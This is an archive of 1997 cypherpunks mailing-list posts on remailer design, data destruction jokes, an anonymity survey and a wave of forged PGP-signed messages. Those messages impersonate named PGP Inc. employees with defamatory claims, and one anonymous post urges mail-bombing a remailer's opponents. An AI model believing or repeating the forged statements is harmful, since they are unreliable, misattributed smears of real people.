> > >
> > >Electromagnetic pulse.  You want something as strong as possible.  About 10
> > >megatons should generate a big enough pulse.
> > 
> > It works better if you also expose it to the heat and blast.  :-)
> > 
> > In all seriousness, complete physical destruction of the media is the only
> > sure technique.  Lucky Green's sandblasting sounds like it should work
> > well.  Melting it into slag should also work.
> 
> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>
> 
> alano@teleport.com | "Those who are without history are doomed to retype it."
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Thu, 3 Jul 1997 11:36:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
Message-ID: <19970703032138015.AAA540@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 07:59 PM 7/2/97 -0500, you wrote:
>On Wed, 2 Jul 1997, Tim May wrote:
>
>>   Hey! I got mine and I'm keeping it!
>>   Just because a bunch of gullible people believed my company's claim
>> that we owned the results of our creative ideas doesn't mean that I
>> have to be a sucker, too.
>> 
>
>If you're willing to admit you got yours under false pretenses,
>the rest of us would like to have it back. Now.
>
>MacN
>
Wow... and not on AOL.

Come on guys, from now on would you attach a midi laugh track to your jokes
so the humor deprived will know its a spoof?


dLs
-----------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 05:53:39 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
Message-ID: <199707022138.XAA23892@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> >>
> >>Could someone please point me to a FAQ or somesuch about degaussing
> >>magnetic media? Thank you!
> >
> >Electromagnetic pulse.  You want something as strong as possible.  About 10
> >megatons should generate a big enough pulse.

  When using the above method, it is best performed in Washington, D.C.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Jul 1997 15:04:44 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Degaussing
In-Reply-To: <Pine.3.89.9707022211.A15627-0100000@netcom2>
Message-ID: <3.0.2.32.19970702234803.00716004@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:29 AM 7/3/97 -0500, snow wrote:
>> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
>> following the monthly CP meeting. Except this August, when certain stalwart
>> members of the club will be at HIP'97. :-)
>
>	What date will the meeting be? 

The regular CP meeting is always on the second Saturday of the month.

The meeting at HIP will be the same day: August 9 at the HIP campground.
I'll be the guy in the black BDU with the "L. Green" name tag, wearing a
Nomex balaklava. :-)

--Lucky
--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip R. Zimmerman" <prz@pgp.com>
Date: Thu, 3 Jul 1997 14:16:46 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030557.XAA20987@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


 The recent spate of bogus keys uploaded to the PGP keyserver
(with subsequent posts forged using our employees names showing
up on mailing lists and newsgroups) is particularly troubling
given the fact that they appear to be coming from within the
ranks of the cypherpunks.
 While I still support the aims of the cypherpunks list, I must
confess to being somewhat disillusioned by these attacks by long
time members of the cypherpunks list. Even more troubling is the
fact that there is evidence of the attacks being designed to aide
one of PGP, Inc.'s competitors--Stronghold.

 I suppose I should have realized long ago that Gilmore <spit>
and Sameer <fart> were in collusion to turn the cypherpunks
against PGP in order to corner the encryption market for c2net's
back-door, GAK'ed product. Although PGP's successful effort
to get the Huge Cajones anonymous remailer shut down has helped
to minimize the damage to our reputation, we may have to take
action against other remailers, as well.
 I wish I had listened to the warnings of the late Dale Thorn,
Toto, and Dimitri Vulis before it had come to this.
  
 In conclusion, I would ask everyone to be wary when receiving
messages purporting to be from PGP, Inc. or from any of our
employees.
 It is inevitable that some gullible fools will be taken in by
the forgeries, but simple precautions such as checking the
key signatures against the keys on our keyserver and perusing
the message headers to determine the source of the email should
aide in spotting forgeries. (You should be particularly wary
of any messages originating from Canadian ISP's, as that seems
to be the natural habitat of Mongers of every sort.)

Philip R. Zimmerman <prz@pgp.com>

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 07:51:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <v03102800afe02a4159d2@[207.167.93.63]>
Message-ID: <m0wjXhs-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



I agree that there has been a certain stagnation, but I think things
are going up again -- despite of the recent attack.

There are three reliable nym servers in operation (nym.alias.net,
weasel.owl.de, and redneck), and I understand that people are working
on an improved system. There are at least three mail2news gateways,
and Mixmaster remailers in at least four different countries (6 in the
US, two in Germany, one each in the Netherlands, Canada and the UK,
and two at unknown locations). Four of these have started operation
last month -- hopefully others will follow.

Not to forget the Geoff Keating's remailer applet, and a new web page
with remailer statistics and reliability information that will be
announced soon.

Mixmaster 2.0.4, which is in beta test at four remailers, has the
option to forward messages to a randomly selected remailer if used as
the last hop (as Kent describes it, but it is known in advance whether
a remailer will deliver a message directly, to avoid mail being
bounced around infinitely.) Version 2.0.4 will be released soon; see
http://www.thur.de/ulf/mix/ for information about the current beta.

Cypherpunk remailers have been in operation for five years now. The
remailer network has survived attacks by the Church of Scientology and
by others. The recent incidents are annoyig, but there is no reason
for dispair because of a bunch of bozos. As our friend Paul Strassman
put it: "Conclusion: Anonymous re-mailers are here to stay. Like in
the case of many virulent diseases, there is very little a free
society can do to prohibit travel or exposure to sources of
infection."



Tim May wrote:

>At 7:40 AM -0700 7/2/97, Kent Crispin wrote:
>
>>This probably has been suggested 20 years ago, but wouldn't Jeff's
>>problem have been solved if the following slight modification were
>>made to the algorithm: If you are the last remailer in a chain, then
>>with probability p you pick another randomly choosen remailer to send
>>through.  If p is 1 end user mail would never come from you; if p is
>>0.5 then half the time you send the mail on one more step.  The end
>>user, then, can never be sure of which remailer will ultimately
>>deliver the message.
>...
>
>This general sort of thing has been discussed...though not 20 years ago! :-0
>
>I don't know about this particular mathematical algorithm, but things
>generally like it.
>
>Long before a remailer shuts down, he should certainly adopt a strategy
>like this. Sending "his" traffic through randomly selected other remailers
>is certainly an option. (Any remailer can at any point insert additional
>hops, or even chains of hops, merely be addressing them correctly. Of
>course, the "original" (which may not be the real original, of course, as
>other remailers may have done the same thing) needs to "get back on track,"
>else the decryptions won't work. But this is all a simple problem.
>
>I don't know what gets discussed on the "remailer operators list," not
>being on it, but it sure seems to me that remailers have stagnated, and
>that some of the robust methods of reducing attacks on any particular
>remailer are not being used.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carolyn Turbyfill <turby@pgp.com>
Date: Thu, 3 Jul 1997 15:34:11 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030715.BAA26652@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


The email forgeries using bogus PGP keys to give the appearance
that the messages are from PGP, Inc. and our employees are the
result of a sick, twisted mind.
Perhaps someone thinks they are being funny, but I, for one, am
not amused.

In order for the internet to function in a coherent, meaningful
manner, people need to be able to have assurance that the email
they receive accurately reflects the true source of the message
and be able to verify the identity of the writer by checking
for a valid signature.
I urge the person or persons doing this to stop. Immediately!

After I send this message to the cypherpunks list and receive
it back in my email, I'm going to check the signature and the
headers on it and if it turns out to be a forgery, like the
others, then I'm going to be really, really mad.

Carolyn Turbyfill <turby@pgp.com>
"I'm not wearing any panties."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tNBu5XWImkXCQiEQLiggCfcJmJBkepBVEDtktoSMtTV97f0uoAoNCe
6IrX5/0nUBjpcIq24XtMFDlK
=0CHj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 3 Jul 1997 16:30:10 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707030822.BAA09194@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Thu, 3 Jul 1997 14:37:54 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Degaussing
In-Reply-To: <Pine.3.89.9707022211.A15627-0100000@netcom2>
Message-ID: <199707030629.BAA00259@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> The Cypherpunks Shooting Club welcomes you each Sunday immediately 
> following the monthly CP meeting. Except this August, when certain stalwart
> members of the club will be at HIP'97. :-)

	What date will the meeting be? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 08:03:34 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Cooper/Birman message service / IBM's anonymous remailer
Message-ID: <m0wjZ4s-0003bBC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



I have been pointed to a paper that addresses the problem of receiving
messages anonymously without using a return path:

 David A. Cooper, Kenneth P. Birman: Preserving Privacy in a Network of
 Mobile Computers. IEEE symposium on Security and Privacy, May 1995.
 http://cs-tr.cs.cornell.edu/TR/CORNELLCS:TR95-1490

Their solution is similar to the one recently described by Matt Ghio
on cypherpunks.


Many of you sure are aware of the BABEL anonymous remailer developed
by Ceki Gülcü and Gene Tsudik of IBM Zurich, but I have not seen it
mentioned here.

Their proposal for return paths is a significant improvement over
cypherpunk-style reply blocks, but I still think that return addresses
should be provided via message pools or similar means, while the mix
net is used only to send messages anonymously.

The paper, which is cited in the papers on Crowds and Onion Routing,
contains a well thought-out section motivatiting the use of anonymous
e-mail.

 Ceki Gülcü, Gene Tsudik: Mixing Email with BABEL. Proceedings of the
 Symposium on Network and Distributed Systems Security (SNDSS '96).
 http://http://www.isi.edu/~gts/paps/gt95.ps.gz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael J. Iannamico" <mji@pgp.com>
Date: Thu, 3 Jul 1997 16:14:44 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030758.BAA28247@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Please be advised that the message sent to the cypherpunks
list purporting to be from Carolyn Turbyfill <turby@pgp.com>
was a forgery. 
The PGP signature on the file, apparently from Marc Briceno
<mark@digicash.com> may have been a forgery, as well, since
it is unlikely that Marc would know whether or not Carolyn
wears panties. It may be that the forger quite simply made
a lucky guess.

Oh! Not that I've been peeking up the women's skirts at
the office. I'm in therapy now, and all of that is behind
me. I must have just heard it from someone else in the
office.
Not that we're a bunch of perverts who sit around talking
about that kind of thing, mind you.

(I'd better shut up while I still have a job.)

Oh! I know. This message must be a forgery, too. Yes, that's
it...this message is a _forgery_! It's not me writing it,
its that sick, demented, cypherpunk forger.
I'm not backsliding. I attend all the meetings and I am
taking my medication regularly.

It's the _forger_, I tell you...the _forger_!!!

Michael J. Iannamico <mji@pgp.com>
"I'm feeling much better now."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tbH2vmZC203a9iEQJjjQCg1IICgkrGCdiydWAlqjbpoxQ5YEEAoNco
CjhwCCVEz/ALHinvGNhJHvDT
=sjFj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Philip Nathan <philipn@pgp.com>
Date: Thu, 3 Jul 1997 17:14:08 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030855.CAA00113@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


I've been a nervous wreck tonight, reading all of the forged
messages revealing the secrets of a number of my fellow PGP,
Inc. employees.
It is only a matter of time until the forger gets around to
me, so I might as well confess now that I've been stealing
money from the company and selling PGP, Inc. company secrets
to the competition.

I'm not proud of what I've done, but I am desperate to get
out of this madhouse. 
Pantyless women, men who shine their shoes twelve times a
day to peek up the women's skirts. Spooks all over the place
and Phil Zimmerman sending Tim C. May ASCII-art slams to the
cypherpunks list (while blaming it on Dr. Vulis).
The child-pornography ring and the incessant drug dealing
within the company are bad enough, but what I find really
intolerable is the support for terrorists and the plot to
help secret government agencies rule the U.S.

Of course, if you check the cypherpunk archives, you'll
probably find that Tim May predicted all of this happening
in a post he sent to the list in '92.

Philip Nathan <philipn@pgp.com>

There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key forgers is warranted: "Death to Everyone!"
-
---------:---------:---------:---------:---------:---------:---------:----
Philip Nathan               | Crypto Anarchy: encryption, digital money,
philipn@pgp.com             | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tobvNv9MGSYz54EQL82QCfelOV54gMyMeSUhUM3gz3dS00TpgAoLpo
nIAXn3NpRcJZ+bzV8Cd6NNu0
=l0oJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 09:25:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
Message-ID: <199707030110.DAA05747@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Beware... all of this is speculation, because huge.cajones was an
> > anonymous service, not even I can say with any authority that any
> > of the people named below had anything to do with the shutdown of
> > huge.cajones (or The MailMasher).  However, there are a number of
> > coincidences of timing.

  Who was it that used the threat of a lawsuit to shut down the
remailer?
  I, for one, would be more than happy to make certain that they
receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
a mountain of information as to how to do so.
  Anyone who would attack a remailer is probably involved in child
pornography and drug dealing and these perverts should be exposed
for what they are.

D r .  R o b e r t s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 3 Jul 1997 19:14:07 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707031108.EAA20189@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



http://hipcrime.home.ml.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 3 Jul 1997 16:30:46 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>The email forgeries using bogus PGP keys to give the appearance
>that the messages are from PGP, Inc. and our employees are the
>result of a sick, twisted mind.

While a keyserver with no authentication has a very low barrier to entry
for false authentication, the barrier is not that much higher for even a
Verisign class three verification.  I've continually said that the biggest
problem with secure authentication is that secure authentication is not
possible.

I hate to see people doing such things with keyservers and keys, but we all
knew the problem existed.  I wonder where the solution is.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 12:02:20 +0800
To: cypherpunks@toad.com
Subject: PGP security problems?
Message-ID: <199707030343.FAA29463@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Due to security problems Pretty Good Privacy, Inc., will be using
a new signing key in our email correspondence, with an effective
date of July 1, 1997.

The new key can be downloaded from our keyserver at:
http://www.pgp.com

Any PGP Corporate key other than the following should be regarded
as having been revoked:
pub  1024/6C309BDF 1997/06/30 
Pretty Good Privacy, Inc. Corporate Key <pgp@pgp.com>

All employee keys with pgp.com addresses should also be regarded
as having been revoked unless signed with the new Corporate Key.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7sc7UlfPVhsMJvfEQJMIACgwqhazDJfN6WqX2HBrq/klG0opmgAoOi6
btA8EoPROpqc9VA2V9fP1Nou
=v0eg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 3 Jul 1997 22:21:01 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <v03102809afe162a40f2d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>BigNuts wrote:
>  There is also a minimum level of sustenance needed by those who
>produce the products we use, and if this is not met, then they cease
>producing those products. If you copy George Strait's albums without
>putting a few pennies in his pocket, it is not likely to inhibit his
>market enough to matter, but if you do the same with an album by a
>group who is living in a station-wagon between gigs, then you might
>find yourself wondering "What ever happened to 'Psychotic Losers'?"

An alternative would be for the creators to publish their PK and the amount
of money they get from the sale of each item.  Then well-meaning theives
can directly and anonymously send the artists ecash and sleep well at night
knowing the artist and not the vermin are benefiting.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 14:18:20 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030551.HAA15022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

   The following appeared on several newsgroups I belong to.
---------
[Forward]
---------
From: Will Price <wprice@pgp.com>
Newsgroups:
alt.privacy.anon-server,alt.fan.john-hinkley,alt.religion.tantric-sex,alt.anonymous-assholes,alt.cypherpunks,news.admin.net-abuse.therapy
Subject: Security Problems at PGP
Followup-To:
alt.cypherpunks
Date: 2 Jul 1997 20:02:22 GMT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Anonymous wrote:
> Does anyone have the inside scoop on the security problems at PGP?

The problems encountered had to do with bogus keys of 
PGP employees being uploaded to the server. This has
been rectified by the creation of a new PGP Corporate
Key with which all employee keys must now be signed in
order to be considered valid.
The new PGP Corporate key, dated July 30, 1997, is now
available on the PGP, Inc. keyserver.

Will Price
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7slnQolbA5ByKtoEQJNNgCgyK89QB7xQiwhgPUeoB5gMqc2BmEAoJhO
14xzY3rKoguftPd0qYWZsTyx
=+X4g
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 22:09:02 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970703095244.29393B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Bill Stewart wrote:

> >Well, to make the remailers more intelligent, have them count incoming
> >mail from the list of remailers participating in the system.  (either that
> >or a rate)  when one remailer seems to be sending much more mail than the
> >others (which shouldn't happen if all remailers are randomly distributing
> >the mail to each other)  you automatically do the random forward to
> >another remailer.
> 
> That's a way to guarantee that the remailers that aren't working
> get more of the traffic.....

So there's a few problems still, sheeeeeeshk.  Actually, if you haven't
heard anything from a remailer for a while, you'd probably drop it from
your calculations.  I'd also assume that the mailers participating in this
random forwarding system were at least somewhat stable.. :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 3 Jul 1997 23:00:21 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707030854.KAA07018@basement.replay.com>
Message-ID: <199707031416.KAA11262@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain




> Please see http://www.netscum.net/burnorg0.html for more info.

whois netscum.net


NETSCUM (NETSCUM2-DOM)
   8001 Castor Avenue Ste. 127
   Philadelphia, PA 19152
   USA

   Domain Name: NETSCUM.NET

   Administrative Contact:
      NETSCUM  (NET33-ORG)  admin@NETSCUM.NET
      215-628-9780
Fax- 215-628-9762
   Technical Contact, Zone Contact:
      Wallace, Sanford  (SW1708)  domreg@CYBERPROMO.COM
      215-628-9780
   Billing Contact:
      NETSCUM  (NET33-ORG)  admin@NETSCUM.NET
      215-628-9780
Fax- 215-628-9762

   Record last updated on 01-May-97.
   Record created on 01-May-97.
   Database last updated on 3-Jul-97 04:38:10 EDT.

   Domain servers in listed order:

   NS7.CYBERPROMO.COM           205.199.2.250
   NS9.CYBERPROMO.COM           207.124.161.50
   NS8.CYBERPROMO.COM           207.124.161.65
   NS5.CYBERPROMO.COM           205.199.212.50


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.



rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 17:12:44 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
Message-ID: <199707030854.KAA07018@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) wrote:
>> > Beware... all of this is speculation, because huge.cajones was an
>> > anonymous service, not even I can say with any authority that any
>> > of the people named below had anything to do with the shutdown of
>> > huge.cajones (or The MailMasher).  However, there are a number of
>> > coincidences of timing.
>
>  Who was it that used the threat of a lawsuit to shut down the
>remailer?
>  I, for one, would be more than happy to make certain that they
>receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
>a mountain of information as to how to do so.
>  Anyone who would attack a remailer is probably involved in child
>pornography and drug dealing and these perverts should be exposed
>for what they are.

Please see http://www.netscum.net/burnorg0.html for more info.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Jul 1997 23:40:10 +0800
To: cypherpunks@toad.com
Subject: AAAS Anonymity Project
Message-ID: <v03020928afe16e564cbf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 10:32:01 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         EGEHMAN <egehman@AAAS.ORG>
Subject:      AAAS Anonymity Project
To:           CYBERIA-L@LISTSERV.AOL.COM

     The Scientific Freedom, Responsibility, and Law Program of the
     American Association for the Advancement of Science (AAAS) is
     conducting an on-line survey to learn more about the uses of anonymity
     and pseudonymity on the Internet.  The survey, together with a series
     of focus group meetings and an invitational conference, is part of a
     project being funded by the National Science Foundation.  The project
     will generate a set of criteria describing the contexts in which
     anonymous and pseudonymous communications are desirable, permissible,
     or undesirable, and a set of guidelines for the use of anonymous and
     pseudonymous communications in those situations where their use is to
     be encouraged or at least tolerated.  Please visit the Project website
     to learn more about this timely project and tell us about your
     experiences with anonymity or pseudonymity:
     http://www.aaas.org/spp/anon.

     Founded in 1848, the AAAS is a nonprofit scientific society dedicated
     to the advancement of scientific and technological excellence, and to
     the public's understanding of science and technology.  AAAS is the
     world's largest federation of scientific and engineering societies,
     with nearly 300 affiliates.  In addition, AAAS has a membership of
     more than 143,000 scientists, engineers, science educators,
     policymakers, and interested citizens dedicated to scientific and
     technological progress in service to society.  AAAS is the publisher
     of the prestigious, peer-reviewed, weekly journal, SCIENCE.

     Project on Anonymous Communications on the Internet
     Directorate for Science & Policy Programs
     American Association for the Advancement of Science
     1200 New York Avenue, NW, Washington, DC, 20005
     Tel: 202 326 6600 Fax: 202 289 4950
     E-mail: anonspp@aaas.org
     URL: http://www.aaas.org/spp/anon

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 4 Jul 1997 00:02:13 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
In-Reply-To: <Pine.LNX.3.93.970703155644.837A-100000@shirley>
Message-ID: <97Jul3.112901edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> Never trust a country with more peaple then sheep.

Never trust a country where the sheep are bipedal, especially when the
general policy is shearing is caring.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 4 Jul 1997 00:11:01 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: <v03020928afe16e564cbf@[139.167.130.246]>
Message-ID: <Pine.SUN.3.96.970703114626.23332B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Robert Hettinga wrote:

>      The Scientific Freedom, Responsibility, and Law Program of the
>      American Association for the Advancement of Science (AAAS) is
>      conducting an on-line survey to learn more about the uses of anonymity
>      and pseudonymity on the Internet.  The survey, together with a series
>      of focus group meetings and an invitational conference, is part of a
>      project being funded by the National Science Foundation.  The project
>      will generate a set of criteria describing the contexts in which
>      anonymous and pseudonymous communications are desirable, permissible,
>      or undesirable, and a set of guidelines for the use of anonymous and
	^^^^^^^^^^^^^^^

Sounds like an attempt at furthering legislation to curtail our freedoms.
I say stay the hell away from this.  It smells of evil TLA's.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Jul 1997 00:19:59 +0800
To: "Robert A. Costner" <cypherpunks@toad.com
Subject: Re: PGP security problems?
